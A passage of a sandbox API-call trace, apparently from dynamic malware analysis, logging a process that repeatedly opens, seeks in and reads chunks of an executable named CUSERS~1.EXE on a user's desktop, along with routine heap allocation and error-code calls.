dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.106] GetFileType (hFile=0x1d4) returned 0x1 [0072.106] GetFileType (hFile=0x1d4) returned 0x1 [0072.106] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0072.106] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.106] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.106] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.106] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.106] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.106] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0072.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0072.107] GetLastError () returned 0x0 [0072.107] SetLastError (dwErrCode=0x0) [0072.107] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7972486, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x79a686 [0072.107] GetCurrentThreadId () returned 0x9b0 [0072.107] GetLastError () returned 0x0 [0072.107] SetLastError (dwErrCode=0x0) [0072.107] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7933105, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x790cb1 [0072.107] GetCurrentThreadId () returned 0x9b0 [0072.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1654) returned 0x2a84fe8 [0072.107] GetLastError () returned 0x0 [0072.107] SetLastError (dwErrCode=0x0) [0072.107] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a84ffc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba998, lpOverlapped=0x0 | out: lpBuffer=0x2a84ffc*, lpNumberOfBytesRead=0x9ba998*=0x1000, lpOverlapped=0x0) returned 1 [0072.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a86648 [0072.108] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a86648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2a86648*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0072.108] GetCurrentThreadId () returned 0x9b0 [0072.108] GetLastError () returned 0x0 [0072.108] SetLastError (dwErrCode=0x0) [0072.108] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x792cb1 [0072.108] GetLastError () returned 0x0 [0072.108] SetLastError (dwErrCode=0x0) [0072.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a86648 | out: hHeap=0x2ad0000) returned 1 [0072.108] CloseHandle (hObject=0x1d4) returned 1 [0072.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a86648 [0072.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a88220 [0072.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a86648 | out: hHeap=0x2ad0000) returned 1 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a88220, Size=0x3188) returned 0x2a88220 [0072.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a84fe8 | out: hHeap=0x2ad0000) returned 1 [0072.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x285) returned 0x2b21c40 [0072.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd98, Size=0x20) returned 0x2a1fb28 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb28, Size=0x40) returned 0x2a2ca38 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2ca38, Size=0x64) returned 0x2a70ff0 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ff0, Size=0x8c) returned 0x2a77af8 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a77af8, Size=0xb8) returned 0x2a6e980 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e980, Size=0xe8) returned 0x2a6e980 [0072.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2ef) returned 0x2a76b38 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e980, Size=0x120) returned 0x2a76e30 [0072.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x35e) returned 0x2a76f58 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a76e30, Size=0x160) returned 0x2a772c0 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a772c0, Size=0x1a8) returned 0x2a772c0 [0072.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e0) returned 0x2a84fe8 [0072.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a772c0, Size=0x1f8) returned 0x2a772c0 [0072.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x2ad64e8 [0072.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0072.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x2ad6448 [0072.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0072.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x2ad6408 [0072.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6408 | out: hHeap=0x2ad0000) returned 1 [0072.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x2ad6528 [0072.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6528 | out: hHeap=0x2ad0000) returned 1 [0072.110] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a772c0, Size=0x250) returned 0x2a772c0 [0072.110] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a772c0, Size=0x2b4) returned 0x2a772c0 [0072.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a772c0 | out: hHeap=0x2ad0000) returned 1 [0072.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a88220 | out: hHeap=0x2ad0000) returned 1 [0072.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0072.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0072.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6f520 [0072.110] GetCurrentThreadId () returned 0x9b0 [0072.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21ed0 [0072.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21ed0 | out: hHeap=0x2ad0000) returned 1 [0072.110] GetCurrentThreadId () returned 0x9b0 [0072.110] GetCurrentThreadId () returned 0x9b0 [0072.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21ed0 [0072.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21ed0 | out: hHeap=0x2ad0000) returned 1 [0072.110] GetCurrentThreadId () returned 0x9b0 [0072.110] GetCurrentThreadId () returned 0x9b0 [0072.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21ed0 [0072.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a76e30 [0072.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a772c0 [0072.111] GetCurrentThreadId () returned 0x9b0 [0072.111] GetCurrentThreadId () returned 0x9b0 [0072.111] GetCurrentThreadId () returned 0x9b0 [0072.111] GetCurrentThreadId () returned 0x9b0 [0072.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a772c0 | out: hHeap=0x2ad0000) returned 1 [0072.111] GetCurrentThreadId () returned 0x9b0 [0072.115] GetCurrentThreadId () returned 0x9b0 [0072.115] GetLastError () returned 0x0 [0072.115] SetLastError (dwErrCode=0x0) [0072.115] GetLastError () returned 0x0 [0072.115] SetLastError (dwErrCode=0x0) [0072.115] GetLastError () returned 0x0 [0072.115] SetLastError (dwErrCode=0x0) [0072.115] GetLastError () returned 0x0 [0072.115] SetLastError (dwErrCode=0x0) [0072.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1ff88 [0072.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad6548 [0072.115] GetLastError () returned 0x0 [0072.115] SetLastError (dwErrCode=0x0) [0072.115] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.116] GetFileType (hFile=0x1d4) returned 0x1 [0072.116] GetFileType (hFile=0x1d4) returned 0x1 [0072.116] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0072.116] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.116] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.116] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.116] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.116] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.116] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0072.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff88 | out: hHeap=0x2ad0000) returned 1 [0072.116] GetLastError () returned 0x0 [0072.116] SetLastError (dwErrCode=0x0) [0072.116] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7938800, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x7922f0 [0072.116] GetCurrentThreadId () returned 0x9b0 [0072.116] GetLastError () returned 0x0 [0072.116] SetLastError (dwErrCode=0x0) [0072.117] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=8620948, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x838b94 [0072.117] GetCurrentThreadId () returned 0x9b0 [0072.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3cb) returned 0x2a853d0 [0072.117] GetLastError () returned 0x0 [0072.117] SetLastError (dwErrCode=0x0) [0072.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a857a8 [0072.117] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a857a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2a857a8*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0072.120] GetCurrentThreadId () returned 0x9b0 [0072.120] GetLastError () returned 0x0 [0072.120] SetLastError (dwErrCode=0x0) [0072.120] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x839b94 [0072.120] GetLastError () returned 0x0 [0072.121] SetLastError (dwErrCode=0x0) [0072.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a857a8 | out: hHeap=0x2ad0000) returned 1 [0072.121] CloseHandle (hObject=0x1d4) returned 1 [0072.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a857a8 [0072.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a87380 [0072.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a857a8 | out: hHeap=0x2ad0000) returned 1 [0072.121] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a87380, Size=0x9fa) returned 0x2a87380 [0072.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a853d0 | out: hHeap=0x2ad0000) returned 1 [0072.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.121] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd50, Size=0x20) returned 0x2a1f880 [0072.121] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f880, Size=0x40) returned 0x2a2ca38 [0072.121] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2ca38, Size=0x64) returned 0x2a70ff0 [0072.121] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ff0, Size=0x8c) returned 0x2a77af8 [0072.121] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a77af8, Size=0xb8) returned 0x2a6e980 [0072.121] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e980, Size=0xe8) returned 0x2a6e980 [0072.121] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e980, Size=0x120) returned 0x2a772c0 [0072.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a772c0 | out: hHeap=0x2ad0000) returned 1 [0072.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a87380 | out: hHeap=0x2ad0000) returned 1 [0072.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0072.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0072.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6ffd8 [0072.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a251b0 [0072.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6ffd8 | out: hHeap=0x2ad0000) returned 1 [0072.121] GetCurrentThreadId () returned 0x9b0 [0072.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a76e30 | out: hHeap=0x2ad0000) returned 1 [0072.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21ed0 | out: hHeap=0x2ad0000) returned 1 [0072.121] GetCurrentThreadId () returned 0x9b0 [0072.122] GetCurrentThreadId () returned 0x9b0 [0072.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21ed0 [0072.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a76e30 [0072.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a772c0 [0072.122] GetCurrentThreadId () returned 0x9b0 [0072.122] GetCurrentThreadId () returned 0x9b0 [0072.122] GetCurrentThreadId () returned 0x9b0 [0072.122] GetCurrentThreadId () returned 0x9b0 [0072.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a772c0 | out: hHeap=0x2ad0000) returned 1 [0072.122] GetCurrentThreadId () returned 0x9b0 [0072.122] GetCurrentThreadId () returned 0x9b0 [0072.122] GetLastError () returned 0x0 [0072.122] SetLastError (dwErrCode=0x0) [0072.122] GetLastError () returned 0x0 [0072.122] SetLastError (dwErrCode=0x0) [0072.122] GetLastError () returned 0x0 [0072.122] SetLastError (dwErrCode=0x0) [0072.122] GetLastError () returned 0x0 [0072.122] SetLastError (dwErrCode=0x0) [0072.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20198 [0072.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad63f8 [0072.122] GetLastError () returned 0x0 [0072.122] SetLastError (dwErrCode=0x0) [0072.123] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.123] GetFileType (hFile=0x1d4) returned 0x1 [0072.123] GetFileType (hFile=0x1d4) returned 0x1 [0072.123] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0072.123] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.123] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.123] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.123] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.123] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.123] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0072.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20198 | out: hHeap=0x2ad0000) returned 1 [0072.123] GetLastError () returned 0x0 [0072.123] SetLastError (dwErrCode=0x0) [0072.123] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=8621898, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x838f4a [0072.123] GetCurrentThreadId () returned 0x9b0 [0072.123] GetLastError () returned 0x0 [0072.123] SetLastError (dwErrCode=0x0) [0072.124] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7811564, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x7731ec [0072.124] GetCurrentThreadId () returned 0x9b0 [0072.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x592) returned 0x2a853d0 [0072.124] GetLastError () returned 0x0 [0072.124] SetLastError (dwErrCode=0x0) [0072.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a85970 [0072.124] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a85970, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2a85970*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0072.125] GetCurrentThreadId () returned 0x9b0 [0072.125] GetLastError () returned 0x0 [0072.125] SetLastError (dwErrCode=0x0) [0072.125] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x7741ec [0072.125] GetLastError () returned 0x0 [0072.125] SetLastError (dwErrCode=0x0) [0072.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85970 | out: hHeap=0x2ad0000) returned 1 [0072.125] CloseHandle (hObject=0x1d4) returned 1 [0072.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a85970 [0072.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a87548 [0072.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85970 | out: hHeap=0x2ad0000) returned 1 [0072.125] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a87548, Size=0xce3) returned 0x2a87548 [0072.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a853d0 | out: hHeap=0x2ad0000) returned 1 [0072.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.125] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd50, Size=0x20) returned 0x2a1fb00 [0072.125] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a2ca38 [0072.125] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2ca38, Size=0x64) returned 0x2a70ff0 [0072.125] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ff0, Size=0x8c) returned 0x2a77af8 [0072.126] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a77af8, Size=0xb8) returned 0x2a6e980 [0072.126] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e980, Size=0xe8) returned 0x2a6e980 [0072.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e980 | out: hHeap=0x2ad0000) returned 1 [0072.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a87548 | out: hHeap=0x2ad0000) returned 1 [0072.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0072.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0072.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70a90 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a772c0 [0072.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a772c0 | out: hHeap=0x2ad0000) returned 1 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a772c0 [0072.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a772c0 | out: hHeap=0x2ad0000) returned 1 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f880 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a76e30 | out: hHeap=0x2ad0000) returned 1 [0072.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21ed0 | out: hHeap=0x2ad0000) returned 1 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21ed0 [0072.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a76e30 [0072.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a772c0 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a772c0 | out: hHeap=0x2ad0000) returned 1 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.126] GetCurrentThreadId () returned 0x9b0 [0072.127] GetLastError () returned 0x0 [0072.127] SetLastError (dwErrCode=0x0) [0072.127] GetLastError () returned 0x0 [0072.127] SetLastError (dwErrCode=0x0) [0072.127] GetLastError () returned 0x0 [0072.127] SetLastError (dwErrCode=0x0) [0072.127] GetLastError () returned 0x0 [0072.127] SetLastError (dwErrCode=0x0) [0072.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20228 [0072.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad6448 [0072.127] GetLastError () returned 0x0 [0072.127] SetLastError (dwErrCode=0x0) [0072.127] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.127] GetFileType (hFile=0x1d4) returned 0x1 [0072.127] GetFileType (hFile=0x1d4) returned 0x1 [0072.127] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0072.128] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.128] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.128] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.128] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, 